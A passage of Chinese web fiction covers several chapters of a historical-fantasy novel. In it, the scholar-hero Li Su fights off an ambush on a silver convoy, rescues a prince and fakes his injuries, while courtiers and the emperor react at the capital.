底舱中伤兵躺了一地,不断的哀嚎,大部分都是箭伤和烧伤,随行的大夫紧张的给他们进行医治。 但一共三个大夫,明显不够用,这艘船被重点攻击,所以伤兵最多,这里就有一百多人。 李素走上前,挤开一个大夫:“清水洗不行,你这水烧过了没有?去拿酒来,烧上一锅酒,冷却以后,把包过的伤口再清洗一遍做二次包扎。” 被挤开的大夫一愣,李素接着说:“算了,你别去了,帮老子一块儿看病,再点几盏火烛。”随后扭头对杨间说道:“老杨你安排人按照我刚才说的办,快去。” 飞狐此时挤了过来凑到李素身边:“小爷,我现在干嘛?” 李素头也不回道:“你去江面上放风,一是看着点儿,虎子有没有带人跟上来,二是注意江面动静。” 飞狐点点头,嘟囔了一句。 “但愿历虎这个憨货,别只追着土匪打,咱身边可没人了。” 说完他就去了。 李素专心的沉浸在治疗伤兵的手术里,仿佛又回到了当初的战场,与死神争分夺秒。 先重后轻,把第六个最严重的贯穿伤的兵处理完,他扭了扭有些僵硬的脖子,抬头看了看四周,只见杨间张大了嘴巴看着自己,一脸的不可思议。 “你这没见过世面的样子,想说什么?” “还有你不会的么?” “有,比如生孩,比如奶孩子,比如……” 李素话还未说完,只听得一声沉闷巨响传来,紧接着整个船身猛地剧烈震荡颠簸起来。 伤兵不断的被抛飞,不少人伤口再次崩裂,舱中一片哀嚎。 杨间顾不得这些伤兵,竭力稳住身形后,毫不犹豫地朝着上方冲去。李素也不敢有丝毫耽搁,手提宝剑紧紧跟随在后。 两人刚刚冲到舱口处,便听到外面传来一阵嘈杂混乱的呼喊声和尖叫声。兵卒们惊恐万分地大声呼喊道:“贼人又来啦!” 这嘶喊声在寂静的夜空中显得格外刺耳。 就在这时,飞狐的身影突然出现在他们面前。 只见他高举着一面盾牌,神色焦急地说道:“杨都督,素哥儿,拿盾!拿盾!这次的贼人不一般!咱们的船已经被铁索拦在了河中,动弹不得。” 铁索拦河?这特娘的绝不是匪! “你接着说,别废话!” “根本看不到贼人的踪影,只见无数箭矢不停地朝我们这边抛射,但奇怪的是这些弓弩都没有点火!” 没有点火?这是银子全要! 听闻此言,李素和杨间心中皆是一沉。 他们二话不说,各自抄起一支盾牌,冲出了舱门。 然而,刚一出舱门,他们就感觉到一股强大的冲击力狠狠撞在了自己手中的盾牌上。 二人不禁对视一眼,眼中满是惊骇之色。如此密集而又沉重有力的箭矢攻击,绝非普通盗贼所能拥有的手段。 杨间眼睛都红了,大喊一声。 “这是大黄弩!” 这特娘的是军队,来的是军队! 李素拉住还想往外跑的杨间,急道:“老杨,咱们赶紧跑,这是来抢银子的军队,而且人不少,咱们这些残兵扛不住!” 杨间面色沉重:“不行,不行,银子被抢了,老子的命也没了,把命拼在这里,好歹我儿子、姑娘以后朝廷还能给个照应。” 李素咧嘴一笑:“银子,老子早就运走了,这咱们箱子里装的全是送给他们的大礼!” “我操你姥姥啊,这一路上,合着就老子一个人担惊受怕!” 杨间快气疯了,抽刀就向李素砍去。 他真的要疯了,担惊受怕不说,还欠了钟彪的银子,在彭城又欠了李素一个大人情。这一趟赔钱、赔命、赔人情! 李素后发先至,一脚踹到了他的腿上。 杨间跌倒在地,还没爬起来,李素大骂:“你给老子冷静,不然回头把你姑娘睡了!” “我姑娘你配不上!” 李素不接这话:“他们应该是远来,箭矢不可能多,我后面的船应该在跟着,上岸向后奔,合兵后咱们再杀回来。” 这一脚让杨间冷静了下来,他叫过了自己的令兵:“传令,一船回击,待敌弓箭稀疏,余等向反方向随我走。” 接着又补了一句:“先把伤兵集中一处,第二轮泅渡,生死就看造化吧。” 随后就出了船舱,李素跟着也出来,举盾望去,岸边黑暗中没有任何灯火,只有空中不断飞来的箭矢,表示了那黑暗中藏着大量的贼兵,除此之外,再无别的声息。 李素和杨间对视一眼,面色更为沉重。 这支军队,很不一般! 此时黑暗中又有一支人马,布帛裹蹄,飞快驰来,此时迎面一名骑士奔到近前:“大当家,有人抢货!” 领头的蒙面骑士闻言,大吼一声:“加速!” 此时,吴家的船队也被铁索挂住了,李元亨愣愣的,看向偶尔向自己这边儿飞来的箭矢,一把拉住了吴家胖子挡在自己身前。 “你敢躲,杀你全家!” 第55章 接踵而至 李素在甲板上顶着盾牌,估摸了一下情况,右岸来箭更多。 “老杨,给我两副甲!” 杨间一愣:“你待作甚?” 李素拉住他,急道:“少废话!我得上岸去冲一阵,不然咱们的跑不了多少,更何况还有老子的病号。” 杨间摇头:“你?一个秀才?我去!” “素哥儿,我去!你不能去!” 飞狐急道,他可不能让李素冒这个险,不然老大非得剥了他的皮。 “你更不行,老子天生神力,老子打过爹!飞狐,你有别的事儿。” 只见李素猛的挥拳,砸在船舷上。 “咚!”一声闷响,木椽开裂! 杨间感觉心中莫名情绪涌动,大声嘶吼:“给小爷着甲!” 随后两名兵卒自舱中取甲。 李素又拉过飞狐:“去,打开一号箱子,把一个黑色背袋取来,随杨都督走,随后跟虎子汇合,咱们京师见。” “是!”飞狐答应一声匆匆去了。 很快,甲胄取来,给李素套上,他放下面甲,飞狐也拿来了一个奇怪的黑袋子,李素取过来斜跨在了身上。 李素摸了摸背包,心中遗憾,这土炸弹还是准备的少了点儿。 “老杨,如果我不幸殉国,记得让你闺女给我守节!” “你他娘的这时候,还开玩笑!你若能活,我闺女给你铺床叠被当丫鬟!” 杨间挥拳砸了一下他的甲胄,知道李素在宽慰他,这个老兵油子不由得虎目通红。前程远大的李素,为他玩命引敌,让他没办法不感动。 “算了,看你这丑样儿,你闺女也不好看,我卡颜。”李素边思量投弹的位置,边扯淡。 杨间听他这话,立刻不干了:“放屁,我闺女像她娘,俊的很!不比你那个妹妹差!” 李素开始躲着箭矢,往舱顶走:“真的?那老子收了,让她改个名儿吧。” “改啥名儿?” 到了舱顶最高处,李素掏出一个土炸弹,擦着引线,就朝着右岸黑暗中来箭的位置用力投了过去,大喊一声:“杨幂!” “本来就叫杨蜜啊!” 然而此刻,李素没功夫再跟他废话了。 就在那枚炸弹尚未引爆之际,只见他动作迅速,将剩下的整整五颗炸弹一股脑儿全都用力投掷了出去。 紧接着,李素使出全身力气猛然纵身一跃,身形如同矫健的猎豹一般,直接下跳,轰然砸落在了船头的甲板之上。 几乎与此同时,岸上那片茂密的丛林之中传来一声惊天动地的巨响! “轰隆”之声震耳欲聋。伴随着这阵巨响,火光爆起,可以清晰听到敌人惊恐万分的惨嚎声、马匹受惊后的嘶鸣声交织在一起。 准备下水的李素大骂了一句:“快你妈准备撤啊,来生再见了老杨!” 随后李素就跃入水中,就向着右岸游去。 入水以后李素就大骂,两层铁甲太重了,还没来得及摸到拦江锁,就快速沉了下去,他干脆一不做二不休,从河底走过去! 考验自己肺活量的时候到了! 杨间听到李素的喊话,虎目又红了,嘶吼一声:“老子欠你一条命,撤!” 吴家船上的李元亨,又被震惊到了,炸雷一般的火光在岸上升起,他还以为李素的船上装了大炮,但很快发现不是。 激动的他在船上,手舞足蹈,来回乱窜。 他乱跑不要紧,可苦了胖子,不停的跟着他跑。李元亨反手给了他一个巴掌:“别挡老子看戏!” “王爷,可是您让小的挡的。”吴家胖子欲哭无泪。 “老子没说!” 吴家胖子一喜,就想溜。 可谁知李元亨又来了一句:“但老子蹭破点儿皮,就杀你全家!” 此时随着右岸出事儿,左岸箭矢更急,杨间带人也开始了抢滩登陆,冬季的河水冰冷,但谁也顾不得了。 水底的李素经过一番苦苦寻觅和摸索,终于在水底成功地抓住了拦江锁,太特么粗了!不然斩断铁索也能解困。 但摸到铁索也代表离岸已经很近了。 此刻,他只觉得自己的胸腔仿佛要炸裂开来一般,腹中憋着的那口气已经快要消耗殆尽。 他紧紧扒住手中的锁链,用尽全身最后一丝力气,拼命地向前猛冲而去。 很快,李素如同一颗破水而出的炮弹一般,迅速地浮出了水面。 他贪婪地大口大口呼吸着新鲜的空气,仿佛要将整个世界的氧气都吸入肺腑之中。与此同时,李素观察了一下岸边的情况。 左岸依然有箭矢射向自己的船,但右岸的敌人显然还没有从刚刚的混乱中缓过神来。 但是看远方,已经有船开始驶来,方向正是江南大营的船。 李素拽着铁链就开始往岸上奔,很快到了尽头,猛力一拽铁索,就冲上了岸,随后抽出了子午剑,奔着 敌军就冲了过去。 大吼一声:“炸不死你们这群狗日的,老子也杀死你们这群王八!” 敌军首领听到这话眼睛都眼红了,这些都是老兵,都是兄弟袍泽,每一个都是宝贝,一下子被炸死炸伤几十个,比杀了他还难受。 于是顾不得再管水里逃跑的兵卒,船没跑,目的就达到了! 他钢刀一指冲过来的罪魁祸首:“给老子杀了他!” 顿时贼兵开始向李素杀来。 李素也不再废话,端起子午剑,剑法展开就冲进了人群。 此时李素终于知道了这套剑法的厉害。 剑法自带身法,只见被臃肿的盔甲裹得严严实实的李素,就如一个绣花的胖子,穿行在敌军中间。 每一件剑下去,不是刺了敌军的咽喉,就是断了敌军的手腕,再不济也是一剑斩断敌军的兵器。 惨叫声不断的响起,敌军纷纷惨叫倒地, 敌军首领见状再次发令:“放箭!上重兵!” 李素现在也不好过,力量消耗的太快了,在水里就耗去了大半,这一会儿的功夫剑法舞起,全身力量紧绷,更是去力更速! 如果敌军换了重兵和弓箭,自己药丸! 他心中暗叫不好,正当他准备拔腿逃跑,突然间,从陆地的方向传来一阵尖锐刺耳的箭矢破空之声。 那声音犹如疾风骤雨一般,只见外围那些敌兵,一个个如同被收割的麦子般纷纷中箭倒下。 凄厉至极的惨嚎声,喊杀声响成一片。 这是哪里来的友军? 李素不及思索,赶紧向横向逃跑,躲避箭矢。他边跑边割断盔甲扣链,很快脱掉了一层,顿感轻松了不少。 而敌军首领也顾不得李素了,跟对方开始对射。 李素跑远后,藏身暗中观察战况,只见来军同样是黑衣黑甲蒙面。 只是他们忽然分兵了,一队人马冲向了运河。 这队人,没有去管江南大营的兵,更没有针对江南大营的船只,而是冲向了吴家船,随后就听有人喊道:“一个不留,全灭之!” 随后箭矢燃火飞起,射向了吴家大船。 李素目瞪口呆,他娘的,这是来杀老子的,果然吴家有鬼啊。 随后他乐了,心说可是你再鬼也要喝老子的洗脚水,自己杀自己吧,嘎嘎,嘎! 忽的就想起来,李元亨在吴家船上,救还是不救? 第56章 声东击东 这个癫子死了,大概也没人在意。 本来就是跟老子换的条件,你命不好,死了怪谁? 李素纠结了起来。 看着李元亨前面一个胖子瞬间被射成了刺猬…… 看着他的侍卫竖起了盾牌挡在他前面…… 看着李元亨在船上跳脚大骂…… 看着有贼兵甩出勾绳挂在船舷上,开始准备登船…… 看着船上燃起大火! 李素吐了口气,咬牙切齿:“李元亨,这回你欠老子一条命,要是不还,我就找你娘要!” 心下落定,他甩掉了身上最后一层甲,就偷偷摸向了贼军,到达贼军身后,打晕一人就拖出战场。 李素快速换上了对方的衣服,蒙上了对方的面巾,随后就冲了上去,而贼军也没发现进来一个混子。 伸手拽下了一个正在攀爬的贼兵,李素双臂发力,快速上了船顶。 敌军见自己人登上了船,一阵兴奋,箭矢开始减少,开始加速攀爬。 “王爷,跳河!” 他的大光头不知道从哪里擦了一下狠的,往外渗着血,躲在盾后大叫:“老子不会水啊,狗日的李素!” “你狗日的再骂?” 李元亨闻声,就乐出来了:“嘎嘎嘎……我就知道你会来救你爹的…” “我救你奶奶个腿,老子是来看看你怎么死的。” 李素抽剑劈碎了甲板:“侍卫大哥,一个抱块板,跳!死活看造化!” “那老子呢?” “老子请你坐大飞机。” 只见李素迅速探出身去,紧紧地抓住了李元亨的脚踝。他咬紧牙关,将体内所有的力量都汇聚到了手臂之上。 紧接着,伴随着一声低沉的怒吼。 “走你!” 李素猛地一用力,竟然将李元亨整个儿向着岸边狠狠地甩了出去! 随后有丝毫犹豫,深吸一口气,然后如同一头矫健的猎豹一般,猛然朝着李元亨飞去的方向纵身一跃,跳入了水中。 如同一只断了线的风筝般飞上了半空的李元亨,胡乱挥舞着四肢,嘴里不停地发出惊恐万分的叫喊。 “喔喔……啊啊…啊…嘎……” 这一喊叫,让敌军就发现了,随着他落水,箭矢对着这边就射了过来,随后有人大喊下令。 “那边大水花,有人逃跑,分兵,杀!” 此时岸上的两伙人也发现不对了,好像目的不太一样,打错了,于是开始相互喊话。 “老子要银子!” “老子只为杀一个人!” “互不干涉!” “好!” 先来的撇撇嘴,大葱味儿,呵! 后来的也撇撇嘴,大碴子味儿,穷鬼! 李素终于摸到了胡乱扑腾的李元亨,于是奋力拉着他往岸边游,同时也发现有人开始往他们这边游,还有箭矢射过来。 “操!” 他顾不得多瞧,很快拉着翻白眼儿的李元亨就上了岸,但追兵也越来越近。 情况紧急,李素拽着他就跑,但没跑几步,就发现这家伙快昏死过去了,两腿拖着地。 “我他娘真是欠你的!” 李素无奈,直接把他扛在了肩上,飞快往岸边密林里逃窜。 李元亨就这么被扛着一路颠簸,开始往外吐水。 “真他娘邪了门了,有晕车的,还有晕爹的。” 随着追兵远离,危机暂解,他把李元亨放了下来,随后一拳打在他的背上,李元亨被揍的嗷的一嗓子就开始吐。 随后开始哇哇的吐个不停,最后竟然还吐出了一条活蹦乱跳的小鱼! 在地上蹦! 李素气笑了:“你他娘的逃命,还不忘吃席。” “呃…真…真难喝……” 李元亨瘫坐在地上,不停地喘着粗气,哆哆嗦嗦的,一阵冷风吹来,牙齿都开始打颤了。 嗖! 一支箭矢,从耳边擦过,紧接着有人喊话:“在这边!”随后箭矢再次飞来。 李素拉着李元亨躲在一棵大树后面:“是不是你他娘的招贼?这么乱,这么黑的天,他们怎么发现的?” 李元亨嘿嘿两声,不说话,确实是他在空中喊叫来的。 李素见他的模样就明白了怎么回事,来不及再讽刺他,拽着他继续跑,边跑边说:“和尚,我说个计划,咱们现在应该就在天津地界儿,抢马直奔京师。” 李元亨闷头跟着跑,差点儿跌了个跟头,但还是不忘回他:“就这计划?” 李素拉着他再一次转向,敌军的箭矢又射了过来。 “对啊。” “那怎么抢马?” 李素拉着他,再次躲在一棵树后,观察敌军动静。随口说道:“老套路,你还是哇哇大叫吸引敌军,我趁乱声东击西,抢马而走!” 李元亨皱 眉:“那老子呢?” “你吸引敌军啊!” 李元亨急了:“不是,我说你抢了马以后,老子怎么办?” “到时候咱们再做计划!” “不去,你狗日的这是让老子送死。” “汪汪!” 一阵犬吠声传来,俩人有点儿傻眼,这他娘的还带狗来了,这是多恨自己啊! 李素突然给他的光头上来了一下:“都是你个犊子,乌鸦嘴,把狗招来了!” “你敢打你爹!” 和尚冲着李素就扑了上去。 李素一脚踹开他:“快跑,来了!” 李元亨奋力爬起来,跟着李素就跑,但犬吠的声音越来越近,李素不得已又把他扛在了肩上,随后大骂道:“你他娘的不许再叫了!” “嘿,老子懂,现在叫属于声东击东,嘎嘎嘎……驾…哈哈哈……啊…” 死命飞奔的李素问道:“怎……么了?” “老子……的腚,腚被射中了!” “该!” 李素不再问了,太恶心! 二人疯狂逃命。 天蒙蒙亮的时候,也不知道跑出了多远,李素脚下一个踉跄,就摔了出去,流血过多已经晕过去的李元亨也被甩了出去。 随着滚动,他屁股上的箭被牵动,闷哼一声疼醒了过来。 趴在地上,奋力睁开眼睛看着前方,倒在地上喘息不动的李素,他动了动嘴,一开口嗓子嘶哑难听。 “老子,欠你一条命,以后你就是我兄弟了。” “老子…老子不做二弟。” 李元亨闻言,咧着大嘴笑了,但嘴角又抽搐起来,腚疼! 二人此时,又累又饿又冷。 “咱俩不会在这里做个同命鸳鸯吧……嘎嘎…哎呦…” “闭上,你的粪嘴!” 但是,脚步声真的就响了起来! 李元亨看到李素瞪大了眼睛看向他身后,他心里咯噔一下,就要转身,随后就感觉自己后颈一震,随后眼前一黑,晕了过去! 第57章 不得安眠 “师兄?” 但见是妙善来了。 其身后紧跟着一位胡须皆白的老道士,再往后有五位中年道士,分立四周,不断扫视。他们手中皆握长剑,道袍尽染鲜血,其中两名道士身上更有挂彩之处。 妙善没有说话,对着李元亨的后脑又砸了一拳。 然后疾步走到他身边,扶着他坐起来,伸手在他身上到处摸了起来, 李素双手捂裆:“师兄,住手,我没丢零件!” 妙善又上下打量他,这才舒了一口气,看着李素笑了,一脸的慈爱:“妙言,你无事就好,无事就好。” 看自己的伤,李素理解,但看自己的裆是怎么回事儿? 一脸跟看儿子似的目光又是怎么回事儿? 自己有爹啊,还打过。 但这些话现在不是问的时候,他看着妙善开口道:“师兄怎么来了?还有这些道友,我怎么没见过?这是滇王,我们一伙儿的。” 说完他指了指趴着的李元亨。 妙善还没说话,白胡子老道却开口了。 “妙善,这就是你说的咱们道门未来护法?” 妙善又笑着看了看李素,就像诵经一样回道:“千真万确,风姿伟貌,今年十六,马上封爵,去岁秀才,明朝状元,现又立功,新皇一系,值得下注啊真人!” 老道士听的频频点头,接着看向了李素,目光炙热:“小子,以后别忘了我白云观!今天替你流血了。” 李素整个人还是懵的。 但自己当初就花了五百两,难道买下了整个道门? 妙善此时才对李素说道:“长话短说,咱们的关系不合适让皇家人知晓,追兵被我们杀了一部分,引走了一部分,你们直奔京师。” 李素点点头,暂时压下了心中的疑问。 “还有,往北十里有一处小道观,你往那边去,已经安排人去备马,准备吃食了。” 李素摇摇头,冲着妙善咧嘴一笑:“不必了师兄,我要把人情卖到底。” 老道士听了频频颔首,如此心思,才能有望跟那些秃子碰一碰,争一争,自林灵素之后道门缩头太久了。 李素接着又道:“师兄,再麻烦扛几个贼兵尸体过来。” 老道士瞬间领悟,他觉得自己错了,这不要脸的劲儿,就有可能压过秃子,于是忍不住惊喜开口:“妙言,你记住老道的道号渺渺。” “师兄,好道号!” “好,好,哈哈,老道去给你扛贼回来,还有什么交待没有?” “再弄点儿血。” “交给我老道了。” 老道转身而走,警戒的道士有两人跟了上去,竟然飞快。 李素见状,忽然想起一事:“师兄,这渺渺真人练的是什么功法?” “导引术。” “你那不是烂大街的么?”李素想起了他那一柜子新书。 妙善翻了横了他一眼:“谁告诉你烂大街了?” “那……” 妙善叹息:“唉,道门势微,就把秘籍都撒出去,只要有一个人信了,练成了,就能多一串儿信徒,可惜了,到现在也无人在门外成就的。” “现在或许有一个了。” “谁?” “林黛玉。” “她?” 李素笑了,这话他爱听:“对,将来你师弟媳妇儿,师兄回了扬州,去教教她,她现在每天都在练,好像有哪里不太对。” 妙善点了点头:“她身子看起来不善生养,我回去就去找她。” 李素听着又开始迷糊,怎么还操心自己的香火了,于是再也忍不住问道:“师兄,你跟我是不是有亲戚?” 妙善笑了起来,心说这孩子,终于憋不住了。 “是有,呵呵,但现在不能告诉你,等有一天时机成熟,你自然知晓。” “为何?” “是灾祸。” 得,还不如不问,李素索性一闭眼,抓紧时间休息。 扬州的黛玉,昨夜突然有些心悸,没睡好。 早早的起来就去了李素的院子,雪雁陪着她开始练操。李素走了多日,虽说有信来,但还是不太习惯。 操练完毕的黛玉,朝着东方升起的太阳念叨了几句。 “姑娘在说什么?” 黛玉一本正经道:“我说保佑雪雁有个好姻缘。” 雪雁奇道:“保佑我有甚用?我雪雁通房!” 黛玉娇斥:“你再练三遍!” …… 京师的荣国府,贾母老太太昨夜也没睡好。 她的谋算有可能会出意外,因为她昨晚听自己的好大儿贾赦说了:林如海收了弟子,是个秀才还要封爵,这对她来说可是大事件! 就好像突然自己的脑袋上,被砸了一锤! 这样带来的后果,林如海这个绝户的政治资源、甚至财产都有可 能被分走大半不说,最关键是,自己谋划宝玉和林黛玉的姻缘可能会砸锅。 她太清楚自己的女儿贾敏了,自小就要强。 如果有了选择,她会同意自己的孤女,进国公府伏低做小吗? 虽说自己这个外祖母会护她,但是跳不过去头上一个婆婆,就免不了晨昏定省,贾敏比谁都明白这些事。 所以,现在有了这么一个近水楼台的,贾敏绝不会让林黛玉到国公府站规矩的,不说勋贵之家,就普通仕宦之家,站规矩站死的媳妇都不少。 怎么办? 人要是死了就好了。 不行,先写信让女儿把林黛玉送来再说。 …… 同样没睡好的,还有皇宫里的雍和帝。 昨日飞鱼卫指挥使夏方来报,说绿林道上的土匪异动,而这个当口正是李素来京的路上,无论是李素,还是五百万饷银,或是滑轮组这个祥瑞,都不能有失。 这是自己对朝局的调整的重要环节,虽说坏了最多跟原来一样,但是已经看到了一转颓势的曙光,怎么能放弃? 他更担心的是暗地里蠢蠢欲动的那些狗东西,原本以为自己令江南大营随护,沿途卫所协防就够了。 但绿林的动静,让他嗅到了不一样的味道,这味道让他感到了愤怒,更是心里感到了害怕,就是军队。 因为没有哪个土匪敢明目张胆对抗官兵的,除非是有人给了他们胆子,而给他们胆子的人会仅仅为了让土匪送个命吗? 明显不会!那保不齐就是为暗中的军队打前站的。 而万一有军队真的自行异动,那说明,他这个皇帝随时都在倾覆之祸的当口上。 军队不受控,太可怕! 飞鱼卫已经连夜出发,但是他没有派京营,不放心! 雍和帝脑子里转着各种念头,就睡不着了,起身吩咐:“让夏守忠滚过来!” 夏守忠很快来了。 “三件事!” 夏守忠叩头:“请陛下吩咐。” “扩充飞鱼卫,密谍司,传旨今日在京四品以上官员,去码头迎扬州船队,朕也去!皇后也去!” “奴才领命!” …… 冬至日,这个早晨,扬州人和京师人都很忙。 第58章 计划撞了 妙善带人走了以后不久,飞狐和历虎又带人又找了过来。 几个人叽咕了半天,飞狐跟虎子就去了。 李素估摸着李元亨快醒了,赶紧噙了一口老道士带来的鸡血,然后把水袋远远的扔了开去。 随后计算了一下自己应该躺的姿势,摆了个poss就倒了下去。 李元亨醒来,晃了晃还有些疼的脑袋。 抬头睁开眼就看到李素满身鲜血,背靠自己躺倒在身边,手里还紧握着一柄剑。 李素的前面是三具贼兵的尸体,身上伤口密布。 瞬间他就明白了怎么回事,随后他奋力撑起身子,摇晃他的身体:“李素,李素,你醒醒,怎么了?你怎么了啊?” 随后他用力捶打,嘶哑着嗓子吼了起来:“你,给老子醒过来!醒过来啊!” 噗! 只见李素一口血就喷在了他脸上。 随后只他大叫一声:“哪个狗日的捶我,不许碰我兄弟…和,和尚你醒了?” “哈…你没死,哈哈…嘎嘎…”李元亨像个大孩子,咧嘴大笑起来。 “老子没死在鬼子手里,要被你狗日的锤死了。” 李元亨呵呵笑着,抹了一把脸上的血,也不在意李素骂他:“祸害难死,你这龟孙子注定要祸害天下,哈哈哈!” 忽然他又低声笑起来:“嘿嘿…嘎嘎嘎…库库库……” “不是,老子没死,也不至于你笑成这样?”李素实在搞不懂,他莫名其妙的笑。 “嘿,你刚才骂老子的话,有种在我父皇面前骂一句试试…嘎嘎。” “我不敢。” “嘿…嘎…你掐我作甚?” 李元亨就要起飞的笑声,瞬间卡了壳。 李素瞪了他一眼,怒道:“我怕你把鬼子再招来,废话少说,我有一个计划!” “呸,我也有一个计划!” 李素诧异:“你也有?那你先说。” “你背着我赶紧跑,咱们抢两匹马直奔京师!” “好计划!”李素伸手弹了一下,他屁股上的天线:“这个要不要拔了?” 李元亨疼的一抽抽:“不,这是老子的功勋,我要给父皇和母后看…嘶,真他娘的冷啊。” 李素仔细瞧,这家伙嘴唇冻得都有些青紫了,浑身打着哆嗦着,硬是现在才叫冷,对自己够狠! 他把剑往腰里一别,蹲身抓住李元亨的两条胳膊,向后一甩背了起来:“咱们走,执行你的计划。” “那你的计划还没说呢?” 李素背着他就开始跑起:“不用说了,撞了!” 李元亨看了看前方空旷一片,没有遮挡,奇道:“撞什么了?” “计划撞了!” 李元亨张了张嘴又闭上了,憋的屁股疼。 此时,运河上破烂的五艘大舟已经启航,装银子的箱子完全被人搬空,其余的东西没拿。 杨间的脑袋包的像个木乃伊,左臂也被吊着,他站在李素座驾的顶层,看着不断退后的河水久久不言。 “杨都督,我家哥儿定不会有事,您别挂着了。” 杨间看了飞狐一眼,摇摇头:“你不懂。” 李素有事没事儿另说。 自己这一趟差事,两千兵死的伤的刨去,好胳膊好腿的剩下不到百人,可以说全营尽没。又欠了钟彪十万两和人情,还欠了李素大人情和一条命。 血亏,这谁懂啊? 皇上会体谅自己的难处么?自己带破船伤兵进京,最重要的银子和李素都不在,大概不砍了自己的脑袋,就算祖坟冒火了吧。 亏到姥姥家了啊,唉! 对了,还有那个滇王好像一直跟着,后来看那个船也被攻击了,沉没了。 一个王爷,皇上的亲儿子,嫡子,皇后娘娘生的,仅此一个,不管脑子有没有病,都是在自己眼前没的。 杨间的心沉到了谷底,身子一晃就往下倒去。 而另一边路不平却迎来了惊喜。 北镇抚司的指挥佥事跛脚路不平,他看见了自己的光明,尤其还有一个锃明瓦亮的四皇子。 他昨天连夜就被指挥使夏方派出了京,四个同知大人加上一个他各带一队人马,这代表什么路不平比谁都清楚。 所以他使出了吃奶的本事,来抓第二次机会。 当他听到有人在骂偷鸡贼的时候,他敏感的意识到机会就在附近了,随后没多久就看到了第二次机会。 他兴奋的一脸潮红,扶着被染成血人的李素,上了自己的马。 “还有老子,也要上去!”李元亨被几个飞鱼卫架着,随后嚷道。 路不平劝道:“王爷,您这伤,要不要先到附近找个大夫,再不济咱找辆车,你趴着回京也好很多啊。” “你他娘的懂个屁,老子这是伤么?这是功劳,快点,别你娘的磨磨唧唧。” 路不平懂了 ,躬身亲自抱住了李元亨的一条腿,大吼一声:“王爷真壮士也,扶咱们英雄的王爷上马!” “有前途!哈哈哈。” 众人七手八脚的把李元亨扶上马,趴在了李素前方,头往下垂着。 他扭头斜看李素,很遗憾看不到李素的脸,只好拍了拍李素的腿:“素啊,你可慢点儿骑,老子的功勋别给颠丢了。” 李素看着杵在自己眼前,像个天线一样的箭杆,叹了一声:“你要是个小娘该多好。” 李元亨:“哼!” 李素没理他的傲娇,随后扭身对路不平招了招手。 路不平凑到李素身边垫脚堆笑:“李爷!” 李素低声道:“路爷,我可以信任你么?” 路不平听罢两眼放光,心说这是机会来了,第三次! 只见他表情激动,也不言语,抽出一把匕首对着自己的大腿就扎了下去,鲜血瞬间就呲了出来。 血点儿飞溅到了他的脸上,好像瞬间起了麻子,他面色肃然低声道:“李爷,这是我的保证,吾之誓言!” 李素嘴角抽了抽,怎么觉得这离皇权越近,人越狠越疯癫,这爷们儿的腿恐怕就是这么瘸的吧。 随后他伸出三根手指:“三件事儿,其一让朝廷注意山东以北军营卫所,哪里发生爆炸声响!其二上报清查江苏以北军营卫所人数和出入痕迹,最后给皇上报个平安,就说四公主安好。” 路不平抱拳:“李爷请好儿吧。” 李素点点头一抽马背,朝着京师开始狂奔。 路不平叫过人来,按照李素的吩咐开始安排,随后他脑子一转,又加了两件事儿。 一是向扬州增派了一名平安信使。 二是派人沿途喊报李素功绩:诛匪千人,救王护驾! 第59章 皇帝的情绪 银船被劫,江南大营几被全灭,李素下落不明。 太极宫,西暖阁。 雍和帝拿着飞鱼卫第一时间送来的奏报,面色沉的都能滴出水了,阁内的空气好像被凝滞了一般,极为压抑。 “无能匹夫,无法无天,乱臣贼子!” 只听得雍和帝一声咆哮,飞起一脚,狠狠地踹在了正跪在地的夏守忠身上。 夏守忠重重地摔倒在地,他以最快的速度重新跪好,大气都不敢出一口,后背早已被冷汗浸透,湿漉漉的衣衫紧紧贴在背上。 雍和帝发出剧烈的喘息,双手更是不受控制地微微颤动着。面庞呈现出一种不正常的潮红之色。 京畿重地,这些人竟然如此肆意妄为,他们还有什么不敢干的? 他心中明白,这背后少不了四王八公那批人。 看着手边对李素封赏的圣旨,花园子爵! 多么不伦不类的封号,先不说李素是死是活,这称号出去天下人如何看自己?自己怎么面对在扬州劳苦多年的林如海? 随后对李素也起了怨念,你生在哪里不好,为何是下花园,什么破名字? 这封号,此刻变得让他眼睛异常刺痛。 雍和帝不由得向大明宫的方向看了一眼,心中不由的一股怒意再生,拿起封旨砸向了地上的夏守忠。 “狗奴才,李素再加赏府邸一座,就府右街故义忠王府,宫女十人。”接着雍和帝又幽幽问了一句:“贾家是否有女子在宫中?” 夏守忠听的第一句就有种天塌的感觉,但他来不及多想,赶紧回道:“荣国府贾政之女贾元春任宫中女史,辅皇后娘娘协理后宫。” 雍和帝嘴角露出一丝讥讽:“迁贾元春,任花园子爵府长史。” 夏守忠愣了,子爵府?配长史?还是女人? 先不说爵制,国公府嫡女任子爵府长史,这是在贾家的脸上,糊了一层烂泥啊! 是的,朝局不允许雍和帝跟自己的老子正面对抗,他就用这种迂回的手段,来表达自己的不满,何尝不是一种天子的悲哀。 捡来的皇位就是这么不稳当。 “那陛下,午后迎船之事?”夏守忠小心翼翼的提了一嘴。 雍和帝此时也为自己早晨的决定后悔了,冲动了! “午后再议吧。” 很快,内阁也接到了河道衙门的奏报,一时间,五百万银船被劫、即将被封爵的李素失踪。 午后迎船的旨意成了笑话! 朝中哗然,天子震怒,着五军都督府协统京营一半人马出京剿匪! 有心人注意到,出营的尽是老勋贵一系的将领。 而这消息随后就传出了朝堂,街巷尽闻,一时间京师鼎沸,封爵不封爵的人们不关心,但五百万两银子,这是多么巨大的财富! 有人震惊,有人惶恐,有人嫉妒,有人忧虑,有人暗喜! 荣国府贾母就是那个暗喜的。 她一大早就让人关注着扬州银船的消息,口话是:姑老爷的弟子即将到京封爵,这也是贾府的荣耀,若李素到京第一时间奏报。 府内都以为是老太太看重姑爷,所以小厮一早就被撒了出去,探听消息。 贾赦听说了以后,甚至还对自己的续弦荆氏说了风凉话:隔了八层皮,府里都往上凑,老太太是糊涂了,合该我掌家! 贾母得信儿后,不由得朝着贾家列祖列宗念叨了起来,天可怜见,早晨盼着,这不到晌午人就没了。 众臣走后,雍和帝沉默了下来。 找不着银子,这些王八蛋就别回来了,死在外面更好。 他借力打力,把京营的老勋贵一系调出京,心中不由得盘算着京营的增补,若那些人死了,自己就可以进一步增加自己人的比例。 随之把京畿军权牢牢掌控在自己手里,但现在的问题是没人,那些人不死也没额外的银子来养新兵。 想到这里,他心又疼了起来,这额外的五百万进项就这么没了,这是他的活局银子。 要不要再抄几家? 看到甜头的他,思维不由得开始发散。 “陛下!陛下……呼…大喜!” “嗯?”雍和帝皱眉。 随后就见夏守忠大呼小叫的跑进西暖阁,就像个捡了根骨头的狗,浑没了平时大太监模样。 进门噗通跪下。 